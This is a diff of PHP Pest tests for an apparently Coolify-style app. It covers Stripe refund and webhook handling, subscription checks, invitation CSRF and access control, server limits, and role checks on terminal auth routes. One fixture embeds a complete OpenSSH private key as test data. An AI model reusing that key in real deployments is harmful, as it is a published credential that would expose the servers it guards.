||||
|
||||
test('returns ineligible when invoice is not paid', function () {
|
||||
@@ -114,6 +124,7 @@ describe('checkEligibility', function () {
|
||||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['reason'])->toContain('not paid');
|
||||
expect($result['current_period_end'])->toBeNull();
|
||||
});
|
||||
|
||||
test('returns ineligible when team has already been refunded', function () {
|
||||
@@ -145,6 +156,7 @@ describe('execute', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => now()->addDays(20)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
@@ -205,6 +217,7 @@ describe('execute', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => now()->addDays(20)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
@@ -229,6 +242,7 @@ describe('execute', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => now()->addDays(20)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
@@ -251,10 +265,61 @@ describe('execute', function () {
|
||||
expect($result['error'])->toContain('No payment intent');
|
||||
});
|
||||
|
||||
test('records refund and proceeds when cancel fails', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_123')
|
||||
->andReturn($stripeSubscription);
|
||||
|
||||
$invoiceCollection = (object) ['data' => [
|
||||
(object) ['payment_intent' => 'pi_test_123'],
|
||||
]];
|
||||
|
||||
$this->mockInvoices
|
||||
->shouldReceive('all')
|
||||
->with([
|
||||
'subscription' => 'sub_test_123',
|
||||
'status' => 'paid',
|
||||
'limit' => 1,
|
||||
])
|
||||
->andReturn($invoiceCollection);
|
||||
|
||||
$this->mockRefunds
|
||||
->shouldReceive('create')
|
||||
->with(['payment_intent' => 'pi_test_123'])
|
||||
->andReturn((object) ['id' => 're_test_123']);
|
||||
|
||||
// Cancel throws — simulating Stripe failure after refund
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('cancel')
|
||||
->with('sub_test_123')
|
||||
->andThrow(new \Exception('Stripe cancel API error'));
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
// Should still succeed — refund went through
|
||||
expect($result['success'])->toBeTrue();
|
||||
expect($result['error'])->toBeNull();
|
||||
|
||||
$this->subscription->refresh();
|
||||
// Refund timestamp must be recorded
|
||||
expect($this->subscription->stripe_refunded_at)->not->toBeNull();
|
||||
// Subscription should still be marked as ended locally
|
||||
expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
expect($this->subscription->stripe_subscription_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('fails when subscription is past refund window', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(35)->timestamp,
|
||||
'current_period_end' => now()->addDays(25)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
|
||||
@@ -0,0 +1,230 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ServerLimitCheckJob;
|
||||
use App\Jobs\StripeProcessJob;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
config()->set('subscription.provider', 'stripe');
|
||||
config()->set('subscription.stripe_api_key', 'sk_test_fake');
|
||||
config()->set('subscription.stripe_excluded_plans', '');
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
});
|
||||
|
||||
describe('customer.subscription.created does not fall through to updated', function () {
|
||||
test('created event creates subscription without setting stripe_invoice_paid to true', function () {
|
||||
Queue::fake();
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.created',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_new_123',
|
||||
'id' => 'sub_new_123',
|
||||
'metadata' => [
|
||||
'team_id' => $this->team->id,
|
||||
'user_id' => $this->user->id,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
|
||||
expect($subscription)->not->toBeNull();
|
||||
expect($subscription->stripe_subscription_id)->toBe('sub_new_123');
|
||||
expect($subscription->stripe_customer_id)->toBe('cus_new_123');
|
||||
// Critical: stripe_invoice_paid must remain false — payment not yet confirmed
|
||||
expect($subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
});
|
||||
|
||||
test('created event updates existing subscription instead of duplicating', function () {
|
||||
Queue::fake();
|
||||
|
||||
Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_old',
|
||||
'stripe_customer_id' => 'cus_old',
|
||||
'stripe_invoice_paid' => true,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.created',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_new_123',
|
||||
'id' => 'sub_new_123',
|
||||
'metadata' => [
|
||||
'team_id' => $this->team->id,
|
||||
'user_id' => $this->user->id,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
expect($subscription->stripe_subscription_id)->toBe('sub_new_123');
|
||||
expect($subscription->stripe_customer_id)->toBe('cus_new_123');
|
||||
});
|
||||
});
|
||||
|
||||
describe('checkout.session.completed', function () {
|
||||
test('creates subscription for new team', function () {
|
||||
Queue::fake();
|
||||
|
||||
$event = [
|
||||
'type' => 'checkout.session.completed',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'client_reference_id' => $this->user->id.':'.$this->team->id,
|
||||
'subscription' => 'sub_checkout_123',
|
||||
'customer' => 'cus_checkout_123',
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
expect($subscription)->not->toBeNull();
|
||||
expect($subscription->stripe_invoice_paid)->toBeTruthy();
|
||||
});
|
||||
|
||||
test('updates existing subscription instead of duplicating', function () {
|
||||
Queue::fake();
|
||||
|
||||
Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_old',
|
||||
'stripe_customer_id' => 'cus_old',
|
||||
'stripe_invoice_paid' => false,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'checkout.session.completed',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'client_reference_id' => $this->user->id.':'.$this->team->id,
|
||||
'subscription' => 'sub_checkout_new',
|
||||
'customer' => 'cus_checkout_new',
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
expect($subscription->stripe_subscription_id)->toBe('sub_checkout_new');
|
||||
expect($subscription->stripe_invoice_paid)->toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
describe('customer.subscription.updated clamps quantity to MAX_SERVER_LIMIT', function () {
|
||||
test('quantity exceeding MAX is clamped to 100', function () {
|
||||
Queue::fake();
|
||||
|
||||
Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_existing',
|
||||
'stripe_customer_id' => 'cus_clamp_test',
|
||||
'stripe_invoice_paid' => true,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.updated',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_clamp_test',
|
||||
'id' => 'sub_existing',
|
||||
'status' => 'active',
|
||||
'metadata' => [
|
||||
'team_id' => $this->team->id,
|
||||
'user_id' => $this->user->id,
|
||||
],
|
||||
'items' => [
|
||||
'data' => [[
|
||||
'subscription' => 'sub_existing',
|
||||
'plan' => ['id' => 'price_dynamic_monthly'],
|
||||
'price' => ['lookup_key' => 'dynamic_monthly'],
|
||||
'quantity' => 999,
|
||||
]],
|
||||
],
|
||||
'cancel_at_period_end' => false,
|
||||
'cancellation_details' => ['feedback' => null, 'comment' => null],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
$this->team->refresh();
|
||||
expect($this->team->custom_server_limit)->toBe(100);
|
||||
|
||||
Queue::assertPushed(ServerLimitCheckJob::class);
|
||||
});
|
||||
});
|
||||
|
||||
describe('ServerLimitCheckJob dispatch is guarded by team check', function () {
|
||||
test('does not dispatch ServerLimitCheckJob when team is null', function () {
|
||||
Queue::fake();
|
||||
|
||||
// Create subscription without a valid team relationship
|
||||
$subscription = Subscription::create([
|
||||
'team_id' => 99999,
|
||||
'stripe_subscription_id' => 'sub_orphan',
|
||||
'stripe_customer_id' => 'cus_orphan_test',
|
||||
'stripe_invoice_paid' => true,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.updated',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_orphan_test',
|
||||
'id' => 'sub_orphan',
|
||||
'status' => 'active',
|
||||
'metadata' => [
|
||||
'team_id' => null,
|
||||
'user_id' => null,
|
||||
],
|
||||
'items' => [
|
||||
'data' => [[
|
||||
'subscription' => 'sub_orphan',
|
||||
'plan' => ['id' => 'price_dynamic_monthly'],
|
||||
'price' => ['lookup_key' => 'dynamic_monthly'],
|
||||
'quantity' => 5,
|
||||
]],
|
||||
],
|
||||
'cancel_at_period_end' => false,
|
||||
'cancellation_details' => ['feedback' => null, 'comment' => null],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertNotPushed(ServerLimitCheckJob::class);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,16 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('subscriptionEnded does not throw when team has no subscription', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
// Should return early without error — no NPE
|
||||
$team->subscriptionEnded();
|
||||
|
||||
// If we reach here, no exception was thrown
|
||||
expect(true)->toBeTrue();
|
||||
});
|
||||
@@ -7,6 +7,7 @@ use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Stripe\Exception\InvalidRequestException;
|
||||
use Stripe\Service\InvoiceService;
|
||||
use Stripe\Service\SubscriptionService;
|
||||
use Stripe\Service\TaxRateService;
|
||||
@@ -46,7 +47,7 @@ beforeEach(function () {
|
||||
'data' => [(object) [
|
||||
'id' => 'si_item_123',
|
||||
'quantity' => 2,
|
||||
'price' => (object) ['unit_amount' => 500, 'currency' => 'usd'],
|
||||
'price' => (object) ['unit_amount' => 500, 'currency' => 'usd', 'recurring' => (object) ['interval' => 'month']],
|
||||
]],
|
||||
],
|
||||
];
|
||||
@@ -187,7 +188,7 @@ describe('UpdateSubscriptionQuantity::execute', function () {
|
||||
test('handles stripe API error gracefully', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found'));
|
||||
->andThrow(new InvalidRequestException('Subscription not found'));
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->execute($this->team, 5);
|
||||
@@ -199,7 +200,7 @@ describe('UpdateSubscriptionQuantity::execute', function () {
|
||||
test('handles generic exception gracefully', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->andThrow(new \RuntimeException('Network error'));
|
||||
->andThrow(new RuntimeException('Network error'));
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->execute($this->team, 5);
|
||||
@@ -270,6 +271,46 @@ describe('UpdateSubscriptionQuantity::fetchPricePreview', function () {
|
||||
expect($result['preview']['tax_description'])->toContain('27%');
|
||||
expect($result['preview']['quantity'])->toBe(3);
|
||||
expect($result['preview']['currency'])->toBe('USD');
|
||||
expect($result['preview']['billing_interval'])->toBe('month');
|
||||
});
|
||||
|
||||
test('returns yearly billing interval for annual subscriptions', function () {
|
||||
$yearlySubscriptionResponse = (object) [
|
||||
'items' => (object) [
|
||||
'data' => [(object) [
|
||||
'id' => 'si_item_123',
|
||||
'quantity' => 2,
|
||||
'price' => (object) ['unit_amount' => 500, 'currency' => 'usd', 'recurring' => (object) ['interval' => 'year']],
|
||||
]],
|
||||
],
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_qty')
|
||||
->andReturn($yearlySubscriptionResponse);
|
||||
|
||||
$this->mockInvoices
|
||||
->shouldReceive('upcoming')
|
||||
->andReturn((object) [
|
||||
'amount_due' => 1000,
|
||||
'total' => 1000,
|
||||
'subtotal' => 1000,
|
||||
'tax' => 0,
|
||||
'currency' => 'usd',
|
||||
'lines' => (object) [
|
||||
'data' => [
|
||||
(object) ['amount' => 1000, 'proration' => false],
|
||||
],
|
||||
],
|
||||
'total_tax_amounts' => [],
|
||||
]);
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->fetchPricePreview($this->team, 2);
|
||||
|
||||
expect($result['success'])->toBeTrue();
|
||||
expect($result['preview']['billing_interval'])->toBe('year');
|
||||
});
|
||||
|
||||
test('returns preview without tax when no tax applies', function () {
|
||||
@@ -336,7 +377,7 @@ describe('UpdateSubscriptionQuantity::fetchPricePreview', function () {
|
||||
test('handles Stripe API error gracefully', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->andThrow(new \RuntimeException('API error'));
|
||||
->andThrow(new RuntimeException('API error'));
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->fetchPricePreview($this->team, 5);
|
||||
|
||||
@@ -0,0 +1,102 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\VerifyStripeSubscriptionStatusJob;
|
||||
use App\Models\Server;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Stripe\Service\SubscriptionService;
|
||||
use Stripe\StripeClient;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
config()->set('subscription.provider', 'stripe');
|
||||
config()->set('subscription.stripe_api_key', 'sk_test_fake');
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->subscription = Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_verify_123',
|
||||
'stripe_customer_id' => 'cus_verify_123',
|
||||
'stripe_invoice_paid' => true,
|
||||
'stripe_past_due' => false,
|
||||
]);
|
||||
});
|
||||
|
||||
test('subscriptionEnded is called for unpaid status', function () {
|
||||
$mockStripe = Mockery::mock(StripeClient::class);
|
||||
$mockSubscriptions = Mockery::mock(SubscriptionService::class);
|
||||
$mockStripe->subscriptions = $mockSubscriptions;
|
||||
|
||||
$mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_verify_123')
|
||||
->andReturn((object) [
|
||||
'status' => 'unpaid',
|
||||
'cancel_at_period_end' => false,
|
||||
]);
|
||||
|
||||
app()->bind(StripeClient::class, fn () => $mockStripe);
|
||||
|
||||
// Create a server to verify it gets disabled
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
$job = new VerifyStripeSubscriptionStatusJob($this->subscription);
|
||||
$job->handle();
|
||||
|
||||
$this->subscription->refresh();
|
||||
expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
expect($this->subscription->stripe_subscription_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('subscriptionEnded is called for incomplete_expired status', function () {
|
||||
$mockStripe = Mockery::mock(StripeClient::class);
|
||||
$mockSubscriptions = Mockery::mock(SubscriptionService::class);
|
||||
$mockStripe->subscriptions = $mockSubscriptions;
|
||||
|
||||
$mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_verify_123')
|
||||
->andReturn((object) [
|
||||
'status' => 'incomplete_expired',
|
||||
'cancel_at_period_end' => false,
|
||||
]);
|
||||
|
||||
app()->bind(StripeClient::class, fn () => $mockStripe);
|
||||
|
||||
$job = new VerifyStripeSubscriptionStatusJob($this->subscription);
|
||||
$job->handle();
|
||||
|
||||
$this->subscription->refresh();
|
||||
expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
expect($this->subscription->stripe_subscription_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('subscriptionEnded is called for canceled status', function () {
|
||||
$mockStripe = Mockery::mock(StripeClient::class);
|
||||
$mockSubscriptions = Mockery::mock(SubscriptionService::class);
|
||||
$mockStripe->subscriptions = $mockSubscriptions;
|
||||
|
||||
$mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_verify_123')
|
||||
->andReturn((object) [
|
||||
'status' => 'canceled',
|
||||
'cancel_at_period_end' => false,
|
||||
]);
|
||||
|
||||
app()->bind(StripeClient::class, fn () => $mockStripe);
|
||||
|
||||
$job = new VerifyStripeSubscriptionStatusJob($this->subscription);
|
||||
$job->handle();
|
||||
|
||||
$this->subscription->refresh();
|
||||
expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
expect($this->subscription->stripe_subscription_id)->toBeNull();
|
||||
});
|
||||
@@ -0,0 +1,147 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use App\Models\TeamInvitation;
|
||||
use App\Models\User;
|
||||
use Illuminate\Cookie\Middleware\EncryptCookies;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create(['email' => 'invited@example.com']);
|
||||
|
||||
$this->invitation = TeamInvitation::create([
|
||||
'team_id' => $this->team->id,
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
'email' => 'invited@example.com',
|
||||
'role' => 'member',
|
||||
'link' => url('/invitations/test-invitation-uuid'),
|
||||
'via' => 'link',
|
||||
]);
|
||||
});
|
||||
|
||||
test('GET invitation shows landing page without accepting', function () {
|
||||
$this->actingAs($this->user);
|
||||
|
||||
$response = $this->get('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertViewIs('invitation.accept');
|
||||
$response->assertSee($this->team->name);
|
||||
$response->assertSee('Accept Invitation');
|
||||
|
||||
// Invitation should NOT be deleted (not accepted yet)
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
|
||||
// User should NOT be added to the team
|
||||
expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('GET invitation with reset-password query param does not reset password', function () {
|
||||
$this->actingAs($this->user);
|
||||
$originalPassword = $this->user->password;
|
||||
|
||||
$response = $this->get('/invitations/test-invitation-uuid?reset-password=1');
|
||||
|
||||
$response->assertStatus(200);
|
||||
|
||||
// Password should NOT be changed
|
||||
$this->user->refresh();
|
||||
expect($this->user->password)->toBe($originalPassword);
|
||||
|
||||
// Invitation should NOT be accepted
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
});
|
||||
|
||||
test('POST invitation accepts and adds user to team', function () {
|
||||
$this->actingAs($this->user);
|
||||
|
||||
$response = $this->post('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertRedirect(route('team.index'));
|
||||
|
||||
// Invitation should be deleted
|
||||
$this->assertDatabaseMissing('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
|
||||
// User should be added to the team
|
||||
expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeTrue();
|
||||
});
|
||||
|
||||
test('POST invitation without CSRF token is rejected', function () {
|
||||
$this->actingAs($this->user);
|
||||
|
||||
$response = $this->withoutMiddleware(EncryptCookies::class)
|
||||
->post('/invitations/test-invitation-uuid', [], [
|
||||
'X-CSRF-TOKEN' => 'invalid-token',
|
||||
]);
|
||||
|
||||
// Should be rejected with 419 (CSRF token mismatch)
|
||||
$response->assertStatus(419);
|
||||
|
||||
// Invitation should NOT be accepted
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
});
|
||||
|
||||
test('unauthenticated user cannot view invitation', function () {
|
||||
$response = $this->get('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertRedirect();
|
||||
});
|
||||
|
||||
test('wrong user cannot view invitation', function () {
|
||||
$otherUser = User::factory()->create(['email' => 'other@example.com']);
|
||||
$this->actingAs($otherUser);
|
||||
|
||||
$response = $this->get('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertStatus(400);
|
||||
});
|
||||
|
||||
test('wrong user cannot accept invitation via POST', function () {
|
||||
$otherUser = User::factory()->create(['email' => 'other@example.com']);
|
||||
$this->actingAs($otherUser);
|
||||
|
||||
$response = $this->post('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertStatus(400);
|
||||
|
||||
// Invitation should still exist
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
});
|
||||
|
||||
test('GET revoke route no longer exists', function () {
|
||||
$this->actingAs($this->user);
|
||||
|
||||
$response = $this->get('/invitations/test-invitation-uuid/revoke');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
|
||||
test('POST invitation for already-member user deletes invitation without duplicating', function () {
|
||||
$this->user->teams()->attach($this->team->id, ['role' => 'member']);
|
||||
$this->actingAs($this->user);
|
||||
|
||||
$response = $this->post('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertRedirect(route('team.index'));
|
||||
|
||||
// Invitation should be deleted
|
||||
$this->assertDatabaseMissing('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
|
||||
// User should still have exactly one membership in this team
|
||||
expect($this->user->teams()->where('team_id', $this->team->id)->count())->toBe(1);
|
||||
});
|
||||
@@ -0,0 +1,53 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('constants.coolify.self_hosted', true);
|
||||
});
|
||||
|
||||
it('returns server limit when team is passed directly without session', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$limit = Team::serverLimit($team);
|
||||
|
||||
// self_hosted returns 999999999999
|
||||
expect($limit)->toBe(999999999999);
|
||||
});
|
||||
|
||||
it('returns 0 when no team is provided and no session exists', function () {
|
||||
$limit = Team::serverLimit();
|
||||
|
||||
expect($limit)->toBe(0);
|
||||
});
|
||||
|
||||
it('returns true for serverLimitReached when no team and no session', function () {
|
||||
$result = Team::serverLimitReached();
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('returns false for serverLimitReached when team has servers under limit', function () {
|
||||
$team = Team::factory()->create();
|
||||
Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
$result = Team::serverLimitReached($team);
|
||||
|
||||
// self_hosted has very high limit, 1 server is well under
|
||||
expect($result)->toBeFalse();
|
||||
});
|
||||
|
||||
it('returns true for serverLimitReached when team has servers at limit', function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
|
||||
$team = Team::factory()->create(['custom_server_limit' => 1]);
|
||||
Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
$result = Team::serverLimitReached($team);
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,118 @@
|
||||
<?php
|
||||
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('app.env', 'local');
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
|
||||
$this->privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
Server::factory()->create([
|
||||
'name' => 'Test Server',
|
||||
'ip' => 'coolify-testing-host',
|
||||
'team_id' => $this->team->id,
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
]);
|
||||
});
|
||||
|
||||
// --- POST /terminal/auth ---
|
||||
|
||||
it('denies unauthenticated users on POST /terminal/auth', function () {
|
||||
$this->postJson('/terminal/auth')
|
||||
->assertStatus(401);
|
||||
});
|
||||
|
||||
it('denies non-admin team members on POST /terminal/auth', function () {
|
||||
$member = User::factory()->create();
|
||||
$member->teams()->attach($this->team, ['role' => 'member']);
|
||||
|
||||
$this->actingAs($member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth')
|
||||
->assertStatus(403);
|
||||
});
|
||||
|
||||
it('allows team owners on POST /terminal/auth', function () {
|
||||
$owner = User::factory()->create();
|
||||
$owner->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth')
|
||||
->assertStatus(200)
|
||||
->assertJson(['authenticated' => true]);
|
||||
});
|
||||
|
||||
it('allows team admins on POST /terminal/auth', function () {
|
||||
$admin = User::factory()->create();
|
||||
$admin->teams()->attach($this->team, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth')
|
||||
->assertStatus(200)
|
||||
->assertJson(['authenticated' => true]);
|
||||
});
|
||||
|
||||
// --- POST /terminal/auth/ips ---
|
||||
|
||||
it('denies unauthenticated users on POST /terminal/auth/ips', function () {
|
||||
$this->postJson('/terminal/auth/ips')
|
||||
->assertStatus(401);
|
||||
});
|
||||
|
||||
it('denies non-admin team members on POST /terminal/auth/ips', function () {
|
||||
$member = User::factory()->create();
|
||||
$member->teams()->attach($this->team, ['role' => 'member']);
|
||||
|
||||
$this->actingAs($member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth/ips')
|
||||
->assertStatus(403);
|
||||
});
|
||||
|
||||
it('allows team owners on POST /terminal/auth/ips', function () {
|
||||
$owner = User::factory()->create();
|
||||
$owner->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth/ips')
|
||||
->assertStatus(200)
|
||||
->assertJsonStructure(['ipAddresses']);
|
||||
});
|
||||
|
||||
it('allows team admins on POST /terminal/auth/ips', function () {
|
||||
$admin = User::factory()->create();
|
||||
$admin->teams()->attach($this->team, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth/ips')
|
||||
->assertStatus(200)
|
||||
->assertJsonStructure(['ipAddresses']);
|
||||
});
|
||||
@@ -1,360 +0,0 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Middleware\TrustHosts;
|
||||
